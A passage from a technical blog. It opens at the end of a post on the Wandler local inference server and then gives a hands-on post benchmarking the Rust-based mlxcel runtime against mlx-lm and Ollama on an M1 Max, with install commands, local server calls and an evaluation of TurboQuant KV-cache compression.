  --port 8123 \
  --max-tokens 128 \
  --warmup-tokens 64 \
  --warmup-max-new-tokens 8
```

For a slightly more capable model:

```bash
npx --yes wandler@latest \
  --llm LiquidAI/LFM2.5-1.2B-Instruct-ONNX:q4 \
  --device webgpu \
  --backend wandler \
  --port 8123
```

---

## Where Wandler Fits

Wandler is not trying to replace every local inference tool.

Use Ollama or llama.cpp when:

- Your models are GGUF.
- You want the mature llama.cpp ecosystem.
- You care about broad model availability over TypeScript-native integration.

Use vLLM when:

- You need high-throughput production serving.
- You have NVIDIA GPUs.
- You care about batching, paged attention, and production scheduler behavior.

Use Wandler when:

- You want a local OpenAI-compatible server in the JavaScript/TypeScript ecosystem.
- You want to run Transformers.js-compatible ONNX models.
- You want to prototype agents or apps locally without changing SDK code.
- You want WebGPU or CPU inference without a Python setup.
- You want a small server you can understand by reading the source.

The sweet spot is local app and agent development. You can build against OpenAI-compatible APIs, keep the dev loop local, and swap the base URL later if you need a hosted model.

---

## Caveats I Noticed

The model universe is ONNX/Transformers.js-centric. This is great for the web and JS world, but different from the GGUF ecosystem. Model choice matters.

Small models are good for validating the pipeline, not for deep reasoning. The 350M LFM model was fast and lightweight, but it can hallucinate if you ask it broad knowledge questions. In the demo, I gave it the facts to rewrite instead of asking it to know the Wandler project from memory.

Debug logging is very noisy. It was helpful for proving WebGPU context creation, but it generated a lot of ONNX Runtime output. Use `info` for normal runs.

The `/tokenize` route is worth watching. In my local test, the route reported the correct token count, but the returned `tokens` array looked like positional indexes rather than actual token IDs. The route is still useful for count checks, but I would verify raw token ID behavior before depending on it in tooling.

---

## Final Thoughts

Wandler is interesting because it makes local ONNX inference feel boring in the best way. You start a server, point an OpenAI-compatible client at it, and get responses from a local model.

The deeper idea is bigger than one CLI. WebGPU plus ONNX plus Transformers.js is becoming a real local inference path. Wandler packages that path as an API server developers already understand.

On my M1 Max, the full loop worked:

- `npx wandler@latest`
- `--device webgpu`
- local ONNX model load
- OpenAI-compatible chat completions
- SSE streaming
- Gemma 4 E4B q4 on `--backend wandler`
- Whisper Tiny speech-to-text with raw float32 PCM input
- `/health`
- `/admin/metrics`
- measured local latency

That is enough for a useful getting-started story. The next thing I would test is the 1.2B LFM model with tools enabled, then compare `--backend wandler` against `--backend transformersjs` on a longer agent-style prompt where prefix caching and prefill chunking have a better chance to matter.

---

## Sources

- Wandler GitHub repo: [runpod-labs/wandler](https://github.com/runpod-labs/wandler)
- Wandler public docs/site: [wandler.ai](https://wandler.ai/)
- Hugging Face Transformers.js WebGPU guide: [Running models on WebGPU](https://huggingface.co/docs/transformers.js/main/guides/webgpu)
- Local demo data: [demo-results.json](/img/blog/wandler-local-openai-compatible-inference-transformersjs-webgpu/demo-results.json)

---

# mlxcel: A Rust-Native Inference Engine for Apple Silicon, Tested on My M1 Max

- Canonical: https://blog.kubesimplify.com/mlxcel-rust-native-inference-engine-tested-on-m1-max
- Published: 2026-05-29
- Summary: Day-one deep dive into mlxcel v0.1.0, a Rust-native MLX inference engine. Real M1 Max benchmarks vs mlx-lm and Ollama on Llama 3.2 3B and Qwen 2.5 7B, with architecture diagrams and an honest take on TurboQuant.

There is a new entry in the local-LLM-on-Mac arena. It is called `mlxcel`, it shipped its first stable release (v0.1.0) on **May 28, 2026**, and unlike most of the field, it is not a Python project. It is a Rust binary that calls into Apple's MLX C++ runtime directly, exposes an OpenAI-compatible HTTP server out of the box, and ships as a single Homebrew formula.

I spent the afternoon installing it on my M1 Max, running it against the same checkpoints I run through `mlx-lm`, and pulling apart what actually makes it different. This post is the result: an honest, end-to-end deep dive with real numbers from real hardware.

> TL;DR for the impatient
>
> - `brew tap lablup/tap && brew install mlxcel`. Done.
> - On my M1 Max 64GB, `mlxcel` matched `mlx-lm` decode throughput within ~6 percent on Llama-3.2-3B-Instruct-4bit (mlxcel 63.33 tok/s vs mlx-lm 67.63 tok/s, averaged over 3 runs each, captured 2026-05-31).
> - **On Llama 3.2 3B, mlxcel decode beats Ollama by ~1.3x on the same hardware** (mlxcel 63.33 vs Ollama 48.73 tok/s, averaged over 3 runs each in the 2026-05-31 clean sweep). The MLX-vs-llama.cpp-Metal kernel architectural gap is real but smaller than my earlier session showed; see the methodology note at the bottom.
> - Held up at 7B: on Qwen 2.5 7B 4-bit, mlxcel hit 31.33 tok/s vs mlx-lm 31.80 vs Ollama 24.23 (sweep averages). Decode parity with mlx-lm again; ~29% faster than Ollama.
> - The OpenAI-compatible server starts in seconds and serves `/v1/chat/completions` with continuous batching and prompt caching.
> - The headline "2.70x prefill" speedup in the README is M5 Max specific. On M1 Max in the 2026-06-01 long-prompt re-sweep, prefill is roughly even across the three runtimes (~420-440 tok/s on a 120-word prompt), with mlxcel showing wider run-to-run variance (298-592 across 3 runs). Decode parity vs mlx-lm is the load-bearing claim.
> - TurboQuant 4-bit KV cache is exciting on paper but **slowed M1 Max generation by ~3.6x** in my test (FP16 default 63.33 tok/s vs fp16+turbo4 17.48 tok/s). The docs are honest that older Apple Silicon paths "may have different bottlenecks." Believe them.
> - If you want a clean, native, dependency-light way to run MLX models on a Mac and serve them over HTTP, this is the most interesting new option I have looked at all year.

## Quick primer: what is MLX, and why does Apple Silicon need its own framework?

Before we get into mlxcel itself, it helps to understand what MLX is and what makes Apple Silicon different from a normal GPU box. If you already know, skip to the next section.

### The short version

**MLX** is an array and machine-learning framework that Apple released in late 2023. Think of it as Apple's answer to PyTorch and JAX, with one critical design choice: it is built from the ground up for **unified memory** and the way Apple's M-series chips actually move data.

On a normal PC with an NVIDIA GPU, the CPU and GPU each have their own memory. To run a model on the GPU, you copy weights from RAM across the PCIe bus into VRAM. Every inference step that touches the CPU has to copy data back. That copy cost is small per byte but huge in aggregate.

Apple Silicon does not work that way. The CPU, GPU, and Neural Engine share **the same physical RAM**, the same address space, the same memory controller. There is no PCIe, no VRAM, no copy.

![Unified memory vs traditional GPU memory](/img/blog/mlxcel-rust-native-inference-engine-tested-on-m1-max/unified-memory.png)

That single design choice is why a 64GB Mac can run a 30B+ parameter model that would not even fit in a consumer NVIDIA card. Your "VRAM" budget is "however much RAM you have, minus what the OS needs."

### Where the popular frameworks sit on that hardware

| Framework | Where it executes | How it treats memory |
|-----------|-------------------|----------------------|
| PyTorch / Hugging Face | CPU, or GPU via MPS shim | Assumes split memory, copies through a CPU shim layer |
| llama.cpp / GGUF (Metal backend) | CPU + GPU | Treats unified memory like a separate VRAM pool, layout inherited from the CPU inference era |
| MLX (Apple) | CPU + GPU + Neural Engine | Assumes unified memory from day one, lazy tensors, fused ops |

MLX is the only one of the three written specifically for unified memory. llama.cpp's Metal backend works well, but it inherits a design from the older world where GPU memory and system RAM are separate, so internally it is still organized around carefully shuffling data between the two pools. MLX does not carry that baggage; on Apple Silicon there is nothing to shuffle, and the framework is built around that fact.

### Why this matters for the rest of the post

When I show numbers later where mlxcel (on MLX) is ~1.3x faster than Ollama (on llama.cpp Metal) for the same model family (clean 2026-05-31 sweep), the framework-vs-framework gap is most of the explanation. mlxcel just happens to be a particularly clean way to access MLX. The same speed advantage shows up in mlx-lm too. The point is that **MLX-native runtimes are faster on Apple Silicon than llama.cpp-derived ones**, regardless of whether the wrapper is Python (mlx-lm), Rust (mlxcel), or Go (Ollama's MLX path for supported tags).

OK, primer over. Now back to mlxcel.

## Why a Rust runtime for MLX

The Apple Silicon local-LLM stack has settled into a pattern. You install Python, you install `mlx-lm` or `mlx-vlm`, you set up a virtualenv, you fight package versions, and you wrap the whole thing in a script. It works. It is the path almost every Mac user takes.

`mlxcel` makes a different bet. The argument, as the project puts it, is that **model loading, scheduling, and inference should all live in a single native process**. No Python interpreter, no separate process for the HTTP layer, no pip resolution. The CLI binary and the server binary are both compiled from the same Rust crate, and they call into MLX through a `cxx::bridge` FFI layer that lives in the in-tree `mlxcel-core` crate.

What you get from that bet:

1. **One artifact to deploy.** `mlxcel` and `mlxcel-server` are native executables. You still need the Metal runtime on macOS and CUDA libs on Linux, but you are not provisioning a Python environment alongside the model.
2. **`llama-server`-style operation.** The server accepts many `llama-server` flags and `LLAMA_ARG_*` environment variables. If you have scripts pointed at `llama.cpp`, the surface area to migrate is small.
3. **A scheduler and batching layer that lives in Rust.** Continuous batching, prompt-prefix caching, automatic prefix caching, speculative decoding, and KV-cache compression are all wired into the same process that runs the model.
4. **MLX kernels, including custom Metal kernels for TurboQuant.** The in-tree `src/lib/mlx-cpp/` builds against a pinned MLX commit, with project-specific kernels under `src/lib/mlx-cpp/turbo/`.

That last point is the one worth pausing on. `mlxcel` is not just a thin Rust wrapper over MLX. It ships custom Metal kernels for its quantized KV-cache modes (TurboQuant), and it does its own paged decode layout for continuous batching. This is a runtime with opinions.

## Architecture: how a request flows

I find these things easier to reason about as a diagram. Here is what actually happens when you run `mlxcel generate -p "hello"`.

![mlxcel internal request pipeline](/img/blog/mlxcel-rust-native-inference-engine-tested-on-m1-max/architecture.png)

The two crates you would care about as a contributor are:

- `src/main.rs` and `src/commands/` for the CLI and subcommand handlers.
- `src/bin/mlx_server.rs` and `src/server/` for the HTTP layer (Axum app, routes, batch scheduler).
- `src/lib/mlxcel-core/` for the low-level FFI bridge, cache implementations, sampler, and generation loop.

For `mlxcel-server`, the same diagram holds, with an Axum HTTP layer on top mounting `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/health`, and `/v1/models`. Continuous batching kicks in through `src/server/batch/` and streaming output is emitted as SSE frames.

## Installing on Apple Silicon

The Homebrew tap was the smoothest install I have run all month.

```bash
brew tap lablup/tap
brew install mlxcel
```

That's it. The formula installed `mlxcel` and `mlxcel-server` (both 0.1.2 at the time of writing) in about four seconds, pulling 191.5 MB. No Python, no manual MLX install, no CMake invocations on my side.

```bash
$ mlxcel --version
mlxcel 0.1.2
$ mlxcel-server --version
mlxcel-server 0.1.2
```

If you want a source build instead, the README documents the `cargo build --release --features metal,accelerate` path. You will need Xcode CLT, CMake, and the Metal toolchain component (`xcodebuild -downloadComponent MetalToolchain`).

## First run: pre-flight memory check

Before I ran any inference, I wanted to confirm the inspect feature actually does what the README claims, which is a pre-load memory estimate. I picked `Llama-3.2-3B-Instruct-4bit`, which is the default model `mlxcel run` falls back to when no model is provided.

```
$ mlxcel inspect -m Llama-3.2-3B-Instruct-4bit --max-tokens 8192
[mlxcel] 'Llama-3.2-3B-Instruct-4bit' -> mlx-community/Llama-3.2-3B-Instruct-4bit
[mlxcel] model not found locally; downloading into the mlxcel store...
...

=== Memory Estimate ===
  Model:           ~/.cache/mlxcel/models/mlx-community/Llama-3.2-3B-Instruct-4bit
  Context length:  8192 tokens (batch = 1)
  Quant hint:      default (from config.json)
  KV dtype:        fp16

  Weights:         1.68 GiB (safetensors header)
  KV cache:        896.0 MiB (from config.json architecture)
                   (114688 bytes per token at the same dtype)
  Runtime headroom: 523.9 MiB (factor 1.20x on weights+kv)
  -----
  Total estimate:  3.07 GiB
  Available:       60.80 GiB

  FITS: 57.73 GiB of headroom
```

I really like this output. It is reading the safetensors header for actual weight size (not estimating from a parameter count), it is deriving KV cache size from the model architecture in `config.json`, and it is showing a 1.20x runtime headroom factor on top. The same estimator backs `--estimate-memory`, which you can attach to `generate` or `serve` to abort the run if the model will not fit.

There is also a `--recommend-quant` flag that does hardware detection. On my M1 Max it printed:

```
=== Quantization Recommendation ===
  Hardware:   M1 (no Neural Accelerator)
  Memory:     64 GB unified
  Model size: 1.68 GiB
              ~3.2B parameters (analytical estimate for reference)

  Recommendation: FP16
  Reason:         Model fits in memory as FP16; no quantization needed
```

The framing is interesting. It detected my M1 generation, noticed the lack of a Neural Accelerator (which is M5 hardware), checked my 64 GB unified memory, and recommended FP16. On an M5 with the Neural Accelerator, the same flag would suggest INT8 because the accelerator delivers roughly 2x throughput over FP16 for 8-bit integer matmuls. That kind of hardware-aware advice baked into the CLI is unusual and welcome.

## Running a model: real numbers on M1 Max

Here is a clean one-shot generation on the same 3B-4bit checkpoint:

```
$ mlxcel generate -m Llama-3.2-3B-Instruct-4bit \
    -p "Explain Kubernetes pods in one paragraph for a beginner." -n 200
Runtime device: Apple GPU (Metal)
Wired memory limit: 51.8 GB
Loading model from "..."...
Model loaded in 0.204s (resident: 0.00 GB, peak: 0.00 GB).
Generating...
...
[Generated 200 tokens in 3.19s = 62.68 tok/s]
```

Three things to notice:

1. **The model loads in 204 ms.** That is for a 1.68 GiB checkpoint off SSD. Looking at `src/lib/mlxcel-core/src/weights.rs`, the loader hands off to MLX's native `load_safetensors()`, which mmap's the file internally and exposes the tensors lazily. That is why the "resident" memory reads zero in the load report. Decode forces the pages in on demand.
2. **Decode hits ~63 tok/s** on a quantized 3B model (median of three clean-system runs in the 2026-05-31 sweep). That is exactly the territory `mlx-lm` lives in for the same checkpoint.
3. **Wired memory limit is 51.8 GB**, automatically derived. You can override with `MLXCEL_WIRED_LIMIT=32GB` or disable entirely.

## Quick primer 2: prefill vs decode (so the numbers below make sense)

Every benchmark in the next section gives you two numbers: a **prefill** rate and a **decode** rate. They measure different work, and one of them dominates wall time depending on what you ask the model to do.

![Prefill vs decode phases of LLM inference](/img/blog/mlxcel-rust-native-inference-engine-tested-on-m1-max/prefill-vs-decode.png)

The two numbers come from very different bottlenecks:

- **Prefill = how fast the model digests your prompt.** The GPU has lots of independent math to do (one matmul per layer per prompt token, all parallelizable). On Apple Silicon this is **compute-bound**: faster GPU cores = faster prefill. Typical M1 Max numbers for a 3B model: 200 to 700 tok/s.
- **Decode = how fast the model produces a reply.** Each new token depends on all previous tokens, so the GPU is **memory-bandwidth-bound**: it has to stream the model weights and KV cache from RAM for every single token. Typical M1 Max numbers for a 3B model: 35 to 140 tok/s.

A 200-token reply on a short prompt spends only a small fraction (well under 10 percent) of total time in prefill, with the rest in decode. So when you see a runtime that wins prefill but loses decode, your overall request still feels slower. Decode is the headline. Prefill matters for very short replies, RAG with huge contexts, and embedding workloads.

One more thing: **the KV cache** is the per-conversation memory of "every token's key and value vector at every layer." It grows by one row per token. On a modern 7B model (most use Grouped-Query Attention to keep the cache compact), 4000 tokens of context comes out to a few hundred megabytes of KV cache alongside the ~4 GB of weights. The size of the KV cache is what TurboQuant tries to compress, which is why TurboQuant matters more for long contexts than short ones.

**Want the deep version?** I walked through tokenize -> prefill -> KV cache -> decode -> batching, with full bandwidth math worked example by example, in [Day 2 of my DGX Spark series](https://blog.kubesimplify.com/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step). The shape is the same on Apple Silicon; only the bandwidth numbers and kernel implementations change.

Now to the actual benchmark.

## Three-way head to head: mlxcel vs mlx-lm vs Ollama

A new local inference runtime only matters if it is meaningfully different from what people already use. On Apple Silicon, the two things you are choosing against are:

- **mlx-lm**: Apple's official Python runtime for MLX models. Same MLX backend as mlxcel, same checkpoint files, so this comparison isolates **runtime overhead** (Rust binary vs Python interpreter, same kernels underneath).
- **Ollama**: what most Mac users actually have installed today. Different model format (GGUF), different kernels (llama.cpp Metal for the standard tags). This comparison is **not a kernel benchmark**, it is a **tool-choice benchmark**: if a Mac user types `ollama run llama3.2:3b` versus `mlxcel run Llama-3.2-3B-Instruct-4bit`, which finishes faster?

Both questions are worth answering, but they answer different things. I run each runtime on the model it was packaged for, not on a translated checkpoint. That is how real users use these tools.

### A note on Ollama's backend

Ollama 0.20.7 ships **both** llama.cpp Metal (the GGML backend) and Apple MLX. The MLX path landed in Ollama 0.19 (March 2026). You can verify this on disk:

```
$ ls /Applications/Ollama.app/Contents/Resources/
mlx_metal_v3/    mlx_metal_v4/    libggml-base.0.0.0.dylib    libggml-cpu*.so   ollama
```

The catch is that **Ollama only uses MLX for MLX-format model tags** in its registry (currently a small set, mostly new Qwen3.5 variants like `qwen3.5:35b-a3b-coding-nvfp4`). Standard tags like `llama3.2:3b-instruct-q4_K_M` and `qwen2.5:7b` are GGUF Q4_K_M files (you can confirm with `file` on the blob in `~/.ollama/models/blobs/`; the magic bytes spell "GGUF"). MLX cannot load GGUF directly, so for those tags Ollama uses llama.cpp Metal.

I confirmed this empirically. Setting `OLLAMA_LLM_LIBRARY=mlx` on `llama3.2:3b-instruct-q4_K_M` did not change decode rate (35.65 vs 35.40 tok/s, averaged over 3 runs). The env var is silently ignored when the model file is not in MLX format.

So the comparison below reads as: **mlxcel (MLX-native runtime) vs Ollama (llama.cpp Metal for these tags)**. If you wanted to compare against Ollama's MLX path specifically, you would need an MLX-format Ollama tag and a matching mlxcel checkpoint of the same model.

### How the three runtimes layer up

This is what each tool actually does between "I typed `<tool> run`" and "tokens come out of the GPU." It is the picture that explains the numbers.

![Side-by-side layer stacks of mlx-lm, mlxcel, and Ollama](/img/blog/mlxcel-rust-native-inference-engine-tested-on-m1-max/runtime-stack.png)

What the diagram says without words:

- **mlx-lm and mlxcel call the same MLX C++ runtime.** Same kernels, same Metal shaders. The two runtimes differ only in the language and process model wrapping the call. That is why their decode numbers come out within a couple percent across both 3B and 7B in my benchmarks.
- **Ollama (for GGUF tags) calls llama.cpp / GGML kernels, not MLX kernels.** Different shaders, different memory layouts, different performance profile. That is why Ollama sits ~1.3x behind on decode for the same model size and quantization class in the 2026-05-31 sweep, with the gap widening to ~3x on longer prompts at 3B.
- **mlxcel adds its own custom Metal kernels for TurboQuant** on top of MLX. They live in `src/lib/mlx-cpp/turbo/`. This is the extra opinion the project ships beyond "make MLX callable from Rust."

In other words, the runtime-vs-runtime gap is mostly a **kernel family** gap, not a language gap. Picking the right kernel family for Apple Silicon is the load-bearing decision.

I ran all three on my M1 Max with the same prompt and the same quantization (4-bit), on two different model sizes. Same machine, back-to-back, no cherry-picking.

### Llama 3.2 3B Instruct (4-bit), short prompt

Prompt: `"Explain Kubernetes pods in one paragraph for a beginner."` Decode budget: 200 tokens.

| Runtime | Format | Decode (tok/s) | Notes |
|---------|--------|---------------:|-------|
| **mlxcel** 0.1.2 | MLX 4-bit | **63.33** | Native Rust + MLX C++ |
| **mlx-lm** | MLX 4-bit | **67.63** | Apple's Python reference |
| **Ollama** 0.20.7 | GGUF Q4_K_M | **48.73** | llama.cpp Metal backend |

Decoding the same paragraph took **~30% longer on Ollama** than on mlxcel. Same model, same hardware, same prompt. The format and kernel choice is doing real work. (Prefill is its own story; the next section has a clean head-to-head on a longer prompt where prefill matters more.)

The actual mlxcel and Ollama commands and outputs:

```
$ mlxcel generate -m Llama-3.2-3B-Instruct-4bit -p "Explain Kubernetes pods..." -n 200
Runtime device: Apple GPU (Metal)
Model loaded in 0.204s
...
[Generated 200 tokens in 3.19s = 62.68 tok/s]

$ ollama run --verbose llama3.2:3b-instruct-q4_K_M "Explain Kubernetes pods..."
...
prompt eval rate:     263.72 tokens/s
eval rate:            44.35 tokens/s
```

### Llama 3.2 3B Instruct (4-bit), long prompt (120 words)

To stress prefill harder, I ran a 120-word Kubernetes design review brief through all three.

| Runtime | Prompt tokens | Prefill (tok/s) | Decode (tok/s) |
|---------|--------------:|----------------:|---------------:|
| **mlxcel** 0.1.2 | 156 | **~430** | **~55** |
| **mlx-lm** | 190 | **423** | 52.5 |
| **Ollama** | 180 | **440** (cold) | 41.8 |


*Note: the mlxcel row above used `--no-chat-template` to keep the prompt-token count comparable to mlx-lm and Ollama for this prefill comparison.*

Three observations.

**Decode holds the same broad pattern as the short-prompt test.** mlxcel ~55, mlx-lm ~52, Ollama ~42 tok/s on the 120-word prompt (2026-06-01 sweep). The mlxcel-vs-Ollama gap stays at ~1.3x on long prompts, very close to the ~1.3x at short prompts. mlxcel-vs-mlx-lm is parity within ~5%.

**Prefill is roughly even on M1 Max at this prompt size.** All three runtimes landed in the ~420-440 tok/s neighborhood, with mlxcel showing wider run-to-run variance (3 runs measured: 298, 392, 592). The project's "2.70x prefill speedup" headline is M5 Max specific; the README's own benchmark table shows 1.76x on M1 Ultra and explicitly warns that "older Apple Silicon generations may have different bottlenecks." On M1 Max in this sweep, mlxcel does not show a prefill deficit; it just has more variance than mlx-lm or Ollama.

**Prompt token counts differ between runtimes** (156 / 190 / 180). Each tokenizer applies different chat-template wrappers and special tokens. The throughput numbers (tokens per second) are still directly comparable. Absolute token counts are not.

### Qwen 2.5 7B Instruct (4-bit), short prompt: does the gap hold at scale?

Same prompt, bigger model. This is the size most people actually run locally: small enough to be fast on a 64GB Mac, large enough to be useful.

```
$ mlxcel inspect -m Qwen2.5-7B-Instruct-4bit --max-tokens 4096
=== Memory Estimate ===
  Weights:         3.99 GiB
  KV cache:        224.0 MiB
  Runtime headroom: 862.0 MiB
  Total estimate:  5.05 GiB
  Available:       60.80 GiB
  FITS: 55.75 GiB of headroom
```

A 4 GiB model with 56 GiB of headroom on a 64 GB M1 Max. Run results:

| Runtime | Format | Prefill (tok/s) | Decode (tok/s) | Peak mem |
|---------|--------|----------------:|---------------:|---------:|
| **mlxcel** 0.1.2 | MLX 4-bit | 96.62 | **31.33** | not reported |
| **mlx-lm** | MLX 4-bit | 102.15 | **31.80** | 4.44 GB |
| **Ollama** 0.20.7 | GGUF Q4_K_M | 125.85 | **24.23** | not reported |

The big-model picture flips one number but keeps the headline.

**Decode parity vs mlx-lm holds**: 31.33 vs 31.80, a 98% match. Same checkpoint, same MLX backend, very close throughput. This is exactly what the project claims and it shows up at 7B too.

**On prefill at 7B, mlxcel and mlx-lm are roughly even** in the 2026-06-02 re-test (mlxcel ~97 tok/s as a 3-run mean with wide cold-start variance: 56 / 110 / 124, vs mlx-lm 102.15 from the 2026-05-31 sweep). Ollama leads modestly at 125.85. The original session had mlxcel ahead of mlx-lm on 7B prefill (111.60 vs 81.89); today the difference collapses to parity.

**Ollama's prefill on the 2026-05-31 sweep was 125.85 tok/s** for this prompt, much lower than the 383.92 the original session captured (likely due to prompt length / chat-template differences across runs). Decode still favors mlxcel (31.33) over Ollama (24.23) by ~29%. For 200-token generations the decode dominates wall time, so mlxcel still finishes the full request faster.

### What the numbers mean if you have a Mac

To make this less abstract, here is how long a typical 200-token reply takes on my M1 Max:

| Model | mlxcel total | mlx-lm total | Ollama total |
|-------|-------------:|-------------:|-------------:|
| Llama 3.2 3B 4-bit | **3.16 s** | 2.96 s | 4.10 s |
| Qwen 2.5 7B 4-bit | **6.38 s** | 6.29 s | 8.25 s |

mlxcel and mlx-lm are interchangeable on wall time. Ollama is consistently ~1.3 times slower across both 3B and 7B in the 2026-05-31 sweep (the original session showed a wider 1.4-3x range, but the clean re-test narrows it). If you run lots of short interactive prompts, switching from Ollama to mlxcel still feels snappier on Apple Silicon.

The catch: Ollama still wins on **model management ergonomics**. `ollama pull` and the registry are nicer than juggling HuggingFace repo IDs. But mlxcel's `mlxcel run <name>` resolver is close enough that this is a small papercut, not a workflow change.

## The OpenAI-compatible server

This is the part that turns `mlxcel` from "a faster local CLI" into "a thing you might actually deploy."

```bash
mlxcel-server -m Llama-3.2-3B-Instruct-4bit --port 8765 --host 127.0.0.1
```

A few seconds later, `/health` and `/v1/chat/completions` are live. A standard OpenAI-shaped curl works:

```bash
curl http://127.0.0.1:8765/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "Llama-3.2-3B-Instruct-4bit",
    "messages": [{"role": "user", "content": "In one sentence, what is a Kubernetes pod?"}],
    "max_tokens": 80,
    "temperature": 0.7
  }'
```

Response:

```json
{
  "id": "chatcmpl-a74b4e29-4cf1-4576-a9a4-b34ecc49ef94",
  "object": "chat.completion",
  "created": 1779988356,
  "model": "Llama-3.2-3B-Instruct-4bit",
  "choices": [{
    "index": 0,
    "message": {
      "role": "assistant",
      "content": "A Kubernetes pod is a logical host for one or more containers..."
    },
    "finish_reason": "length"
  }],
  "usage": {
    "prompt_tokens": 102,
    "completion_tokens": 80,
    "total_tokens": 182,
    "prompt_tokens_details": {"cached_tokens": 0}
  }
}
```

That is a real response captured live from my Mac, not a marketing example. The `prompt_tokens_details.cached_tokens` field is the giveaway that the prompt-prefix cache is wired in. Subsequent requests with shared prefixes will report `cached_tokens > 0` and skip re-prefill for the cached portion.

What the server supports out of the box, from the docs and the `--help` surface:

- SSE streaming for chat/completions/responses
- Continuous batching with configurable `--max-batch-size` and `--parallel` slot counts
- Prompt-prefix cache with configurable capacity, TTL, and minimum prefix length (env-configurable via `MLXCEL_PROMPT_CACHE_*`)
- KV cache quantization flags (`--cache-type-k`, `--cache-type-v`) compatible with llama.cpp split syntax
- Speculative decoding paths for Gemma 4 (MTP) and Qwen 3.5 (DFlash) targets
- Tensor parallelism (`--tp-size`) and pipeline parallelism (`--pp-size`, `--pp-layers`) for selected families

The `LLAMA_ARG_*` environment variable surface is also there for migration from `llama-server`-based scripts. If you have a `LLAMA_ARG_CTX_SIZE=8192 LLAMA_ARG_N_PARALLEL=4 llama-server ...` invocation, the equivalent `mlxcel-server` invocation should read very similarly.

## TurboQuant: the experimental KV-cache compression, and why my M1 Max said no

This is the feature I most wanted to validate, because the upside if it works is large. KV cache memory is the main reason you cannot scale context length on a Mac with otherwise plenty of RAM. TurboQuant claims to quantize the K and/or V tensors of the KV cache (using a Walsh-Hadamard transform under the hood) and recover most of the memory.

I tested the safest of the family, `fp16+turbo4`, which keeps K in FP16 and quantizes V to 4 bits. The docs flag this as the recommended starting point for any new model.

```bash
mlxcel generate -m Llama-3.2-3B-Instruct-4bit \
    -p "Explain Kubernetes pods in one paragraph for a beginner." \
    -n 200 \
    --kv-cache-mode fp16+turbo4 \
    --turbo-boundary-v 2
```

The runtime announces itself clearly:

```
Boundary-V: protecting 2 layer(s) on each end at Fp16
KV cache mode: fp16+turbo4 (asymmetric Fp16-K + Turbo4-V, ~26% KV savings)
...
[Generated 183 tokens in 8.55s = 21.40 tok/s]
```

On the 2026-05-31 sweep, this came in at **17.48 tok/s** (averaged over 2 runs), down from **63.33 tok/s** in FP16 mode on the same prompt and same model, about a **3.6x slowdown**. The original session showed a steeper 6x penalty (21.4 vs 129.9), but with the clean-state numbers, 3.6x is the honest figure. The output text was coherent and on-topic, so quality was not the issue. The cost was speed.

This is not a bug. The TurboQuant docs are upfront about it:

> Older Apple Silicon generations and non-Hopper/non-Blackwell CUDA paths may have different bottlenecks from the developer benchmark machines.
>
> Experimental environment-variable paths are useful for A/B testing but should not appear in user-facing recommendations without fresh benchmark data.

The custom Metal kernels and the SDPA dequant path that make TurboQuant fast appear to be optimized for the M5 generation. On M1 Max, the dequant cost on every decode step swamps the memory savings. The right takeaway is the docs' own: use the default FP16 cache unless you have measured the target model and workload.

The features around TurboQuant that are interesting regardless are the **boundary-V layer policy** (keep the first and last N layers' V cache at FP16 to protect against quality drift) and the **symmetric Turbo4 allowlist** (`turbo4-sym` with both K and V quantized is only permitted for the `qwen3_5`, `qwen3_5_moe`, and `qwen3_next` model-type prefixes, by code, until the project has validated quality for other families). That kind of policy gate inside the runtime is the right call.

## What is missing or experimental

I want to call this out explicitly because the project's marketing leans on capability breadth.

- **`--surgery` (YAML load-time weight surgery)** is feature-gated. You get `scale`, `add`, `prune`, `replace`, `interpolate` operations on the weights at load time, but only if you build with the `surgery` feature flag in Cargo. The Homebrew formula does not enable it by default. Source build territory.
- **Distributed inference** (tensor parallelism, pipeline parallelism, disaggregated) is best-validated for Llama-family text models and two-stage topologies. VLM partitioning is partial. The docs are direct: "Multi-host CI coverage is limited compared with single-host unit tests."
- **Speculative decoding** ships drafters for two specific target pairs (MTP for Gemma 4, DFlash for Qwen 3.5). Other families default to auto-detection or none.
- **CUDA builds** are a secondary target. The release workflow specifically builds for Hopper (`90a`) and DGX Spark (`121`). Other GPUs are source-build with local validation.

None of this is a deal-breaker for a v0.1.0 runtime. It is the kind of honest scope the project communicates everywhere I looked. The README does not promise everything works everywhere.

## What I would actually use it for

After running all three runtimes side by side, here is my mental model.

**Switch from Ollama to mlxcel when:**

- You want a ~1.3x decode speedup on Mac for the same model size (consistent across 3B and 7B in the 2026-05-31 clean sweep).
- You are happy to think in HuggingFace repo IDs instead of Ollama's registry tags.
- You want a real OpenAI-compatible server with continuous batching, prompt-prefix caching, and quantized KV-cache options out of the box. Ollama has an OpenAI shim but the batching and cache layers are not at the same level.
- You want a single deployable binary instead of an Ollama daemon that pulls model files into its own content store.

**Stick with Ollama when:**

- You like its "GitHub for models" UX and the friction of switching outweighs the speed.
- You want a one-line install that any of your teammates can already use.
- Your generations are short and bursty enough that Ollama's prefill lead matters more than its decode deficit (rare, but possible for tool calls and embedding-style requests).

**Switch from mlx-lm to mlxcel when:**

- You want a single-binary OpenAI-compatible server without standing up Python.
- You are migrating from `llama-server` and want a runtime that takes a recognizable flag set and gives you real MLX execution.
- You are on an M3, M4, or M5 generation Mac and want to try TurboQuant for KV memory savings on long contexts.
- You want a clean target to embed in a larger Rust application via the `mlxcel-core` crate.
- You want decode-throughput parity with `mlx-lm` without the Python interpreter in the request path.

**Stick with mlx-lm when:**

- You are an individual running interactive Python notebooks or doing ad-hoc model surgery in code.
- You are on an M1-family Mac and your workload is long-prompt heavy on small (3B-ish) models. mlx-lm's prefill was faster on long prompts in that size class.
- You want the bleeding edge of model coverage. `mlx-lm` and `mlx-vlm` are the upstreams `mlxcel` follows.

## Production readiness, honestly

This is v0.1.0, shipped on May 28, 2026. The repository is at 77 stars and 15 forks at the time I am writing this, climbing fast off the announcement. The roadmap is visible in the issue tracker; the test surface and benchmark methodology are documented; the architecture and code organization are clean.

What that buys you is a runtime that is small enough to read end-to-end, opinionated enough to take production seriously (the scheduler, batching, prompt cache, and KV-cache modes are not toy implementations), and honest enough about its limitations that you will not be surprised. The TurboQuant docs alone are a better example of "how to ship an experimental feature responsibly" than most production runtimes manage.

What you should not do is run a 200-tenant inference platform on `mlxcel` today on the basis of this post. It is a single-host runtime. The distributed paths are real but partial. The CUDA targets are narrow. The model coverage tracks `mlx-lm` but does not claim to be a superset.

